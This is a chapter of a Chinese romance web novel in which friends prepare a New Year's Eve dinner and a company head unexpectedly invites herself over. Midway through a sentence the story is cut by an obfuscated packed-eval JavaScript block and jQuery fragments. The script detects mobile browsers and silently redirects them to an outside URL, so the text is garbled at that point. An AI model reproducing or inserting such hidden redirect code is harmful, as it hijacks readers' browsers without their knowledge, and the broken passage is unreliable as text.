61. 争锋相对

作品:《公关24小时

    蒋昭恒来敲门时,是简晓夜给他开的门。


    “好久不见啊,大律师。”简晓夜笑得敷衍,“听说你最近老在律所炫富,经济实力如此超群,今天来宁宁家蹭年夜饭,应该不是空手来的吧?”


    “确实好久不见,大明星。”蒋昭恒语带阴阳,“听说你最近又在剧组受伤了,怎么这么不小心啊?我带了两瓶Romanée-Conti,不过作为骨折病人,你还是照顾好自己,多喝热水吧。”


    简晓夜侧身给他让开进门的路,冷眼微笑道:“是骨裂,多谢关心。”


    蒋昭恒迈步进门,假模假式道:“不客气,早日康复。”


    向宁的声音从厨房传来:“你俩真是一点没变,几岁了?幼不幼稚?”


    蒋昭恒放下红酒盒子,皱眉道:“你在厨房做什么?我妈不是下过死命令,不许你再进厨房吗?”


    向宁不以为意地笑了笑:“别曲解阿姨的原话啊,她那时候是心疼我,不许我再给别人做饭。我现在是给自己做饭,又不算违反禁令。再说了,就算只是出于人道主义关怀,我也不能只看着别人忙前忙后啊,总要给大厨打打下手。”


    简晓夜甩下蒋昭恒,三两步跳到向宁身边,帮腔道:“就是就是,我也来帮忙。随便哥,你这有没有什么一只手就能干的活?尽管使唤我就行!”


    枕安考虑到她手上有伤,正要拒绝,向宁却忽然靠近他耳边,低声说了句:“她不想在客厅跟蒋昭恒单独待着,你就随便给她找个活吧。”


    枕安思考几秒,往一碗绿豆里扔了一把玉米粒,摇匀后递给简晓夜说道:“把玉米挑出来,一只手就行,不用着急。”


    简晓夜憋着笑接过碗:“谢谢,以后请叫我辛德瑞拉。”语毕去厨房一角坐下,优哉游哉玩起豆子来。


    三人说话间,蒋昭恒匆匆换了鞋走进厨房,一眼就看到向宁坐在案台旁,正在给一盆大虾去虾线。


    她的长发随意绑在脑后,身上穿着和枕安同款异色的围裙,不过比他那件更新,上面还有几道折痕,似乎刚拆封不久。


    厨房的空间很大,供七八个人分头干活也绰绰有余,枕安偏偏就紧挨她站着,看得蒋昭恒极为不爽,满脑子都只有一个词:居心叵测。


    蒋昭恒挽起袖子,绕到案台另一侧,站在向宁正对面问道:“我呢,干点什么?”


    “你?”


    向宁仿佛听了个笑话,抬起头,刚想调侃两句,却见他今天打扮得格外不同——白卫衣,牛仔裤,头发没做造型,半点职场精英味都没有,反倒像个还在念书的学生。


    向宁垂下目光,继续专注于剔虾线,含着浅浅的笑意问道:“什么意思,搞纯元故衣那一套啊?”


    枕安闻声抬眸看了蒋昭恒一眼,表情没有波动,又低下头继续切菜。


    蒋昭恒似是被戳穿了心思,一时承认也不是,否认也不是,只好轻咳一声,没了下文。


    “大清亡矣!”向宁悠悠感叹一句,抬头对上枕安的目光,一本正经道,“给先皇后找点活干吧,让他也体验一下民间疾苦。”


    发令枪移到枕安手上,他却迟迟不装弹,转而询问向宁:“要是给的活太重,累着了先皇后,皇上不会责怪微臣吧?”


    他把一个“先”字咬得很重,蒋昭恒听着刺耳,却没有出言回击的正当理由。


    向宁看着枕安,认真搭起戏来,语重心长道:“先皇后母家毕竟对朕有恩,爱卿还是高抬贵手吧,宽严相济即可。”


    枕安不置可否,向蒋昭恒投去一瞥,面无表情问道:“会刮鱼鳞吗?”


    蒋昭恒不甘示弱,对向宁柔声道:“等我三分钟。”


    语毕往客厅走去,脱了白卫衣搭在沙发上,修身的内衬将几道流畅的肌肉线条清晰勾勒出来。


    简晓夜见状撇撇嘴,当着他的面锐评道:“纯元故衣没效果,又开始搞狐媚惑主那一套了?”


    向宁长叹一声,无奈心道:姑奶奶,看来你俩这辈子都不能和谐共处了。


    蒋昭恒只当未闻,在手机上认真看完刮鱼鳞的视频教程,便准备开始实践。


    然而他没想到的是——


    “这、这鱼怎么是活的?”教程里的鱼可不会挣扎逃跑,更不会用尾巴甩他一脸水。


    “当然是活的了,活鱼才新鲜。”枕安没有要帮忙的意思,有条不紊地切着豆腐丝,刀工逸群。


    蒋昭恒只能硬着头皮去刮鳞,奈何折腾了半天,仍然不得其法,盆里的鱼几乎毫发无损,连皮外伤都没受多少。


    简晓夜被他制造的噪音烦得实在坐不住,干脆过去帮忙,一手抄起菜刀皱眉道:“抓出来,按在案板上,别按头!”


    蒋昭恒顾不得许多,只能按照她的要求做。


    简晓夜瞄准鱼头,用刀背重重一敲,鱼就被敲晕了。


    蒋昭恒接过她手里的菜刀,本想道声谢,却被她一句嘲讽给噎了回去——


    “我看你这十指不沾阳春水的大少爷,就不是下厨房的那块料。”


    向宁摘下手套跨步上前,一左一右推开他们两人,和稀泥道:“行了行了,大少爷二小姐都消停会吧。再这么闹下去,年夜饭就要改成守夜饭了。”


    二人互瞪一眼,只得暂时停战。


    就这会工夫,枕安已经不声不响走到了水槽旁,开始处理刚才那条鱼。


    蒋昭恒不爽归不爽,但还是很有自知之明的给他让开了位置。


    向宁靠在案台边,看着枕安干脆利落的动作,忽而心道:说起来,他曾经也是十指不沾阳春水的小少爷呢。


    转念一想,不禁更加疑惑:作为祝琰的他,一度享受着别人羡慕都羡慕不来的生活,到底为什么会一心求死呢?


    虽然他说过是为了赎罪,但向宁还是想不明白——彼时他尚未成年,并不曾进入社会,到底能背负什么罪孽?


    ……


    日落之际,厨房的忙碌终于告一段落。


    向宁从储物间里搬出一张折叠桌,放在客厅里正对电视的位置,再把四面的弧形板扳起来,方桌就变成了圆桌。


    简晓夜不禁感叹:“说起来,这桌子还真有点童年回忆的味道。”


    枕安不解道:“怎么说?”


    蒋昭恒虽然不想跟简晓夜搭话,眼神却暴露了他的好奇心。


    向宁对她的感叹深表赞同:“我小时候,家里也有这么一张折叠桌。每年除夕晚上,一大家子人都会围着它吃饭。”


    只不过,她从


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043967|158208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没上过桌而已。


    简晓夜凑近向宁身后,把脑袋搭在她肩膀上,小声揶揄道:“一看他俩的表情就知道,跟咱俩一点共鸣都没有。”


    向宁轻啧一声:“那肯定。”毕竟人家的家庭条件在那摆着呢,根本不需要能折叠的家具来节省空间。


    说说笑笑间,圆桌上已经摆满了菜盘。向宁打开橱柜,回头问道:“拿几个高脚杯?大厨你今天喝酒吗?”


    枕安正在接电话,闻言让对面稍等,继而走到向宁身边,把手机递给她,低声说了句:“祝璋姐。”


    向宁有些诧异,用无声的口型问他:“找我?”


    枕安点头。


    向宁疑惑地接过手机,微笑道:“祝总新年快乐。”


    对面沉默了几秒。


    “嗯,快乐。”祝璋显然情绪不佳,语气沉沉道,“你们在吃年夜饭吗?”


    “菜刚上桌,还没动筷子呢。”向宁答完,又礼貌性地客套了一句,“祝总要不要一起来吃点?”


    向宁并不觉得祝璋会应下这份邀请。毕竟祝高远是极为典型的封建大家长,在除夕这样重要的日子里,怎么可能允许孩子离家在外,不陪在自己身边共度佳节呢?


    然而出乎她意料的是,祝璋几乎没怎么犹豫,就给出了肯定的回答——


    “好啊,如果你室友不介意的话。”


    枕安肯定不会介意跟亲姐姐共度除夕,祝璋口中的这位“室友”指的毫无疑问是简晓夜。


    “她当然不介意。”向宁连忙替好友应承下来。祝璋现在就相当于简晓夜的顶头上司,要是敢说介意,岂不是把她给得罪了吗?


    “那就好。”祝璋那边传来开关车门的声音。


    “你大概什么时候过来?”向宁问道。这关系到简晓夜还剩多少时间调整心态。


    “很快。”祝璋顿了顿,补充道,“我就在你家楼下。”


    向宁心中暗叫糟糕,明面上却热情依旧,主动提议道:“那我下去接你吧,不然你没有门禁卡,用不了电梯。”


    希望此举能为简晓夜多争取一点时间,免得她被祝璋的突然来访吓到心态爆炸,连饭都吃不下去。


    果如所料,简晓夜听说这件事后,脸上的每一块肌肉都变得僵硬起来,结结巴巴问道:“祝、祝总怎么会到这来?她、她不回家过年吗?”


    枕安解释道:“她和祝高远大吵了一架,气得没法在他家待下去,又嫌她自己家太冷清,不想回去。大过年的,去其他生意伙伴家里也不合适,思前想后,只能来咱们这凑凑热闹了。”


    一旁的蒋昭恒听了半天,不太确定道:“你们说的这位‘祝璋’,是呈业集团的祝总吗?”


    向宁点点头:“你认识啊?”


    “我们律所跟她们公司有合作,但我没见过她本人。”蒋昭恒有些惊讶,“你们的私交居然这么好?”


    向宁懒得解释来龙去脉,索性忽略了他的后半句话,一边穿外套一边说:“行了行了,四舍五入大家都是熟人,一会都热情点,别哪壶不开提哪壶就行。”


    语毕轻拍简晓夜的肩膀:“你OK吗?”


    “还是有点怵。”简晓夜深吸一口气,“不过……就当这是一次演技大考验吧。”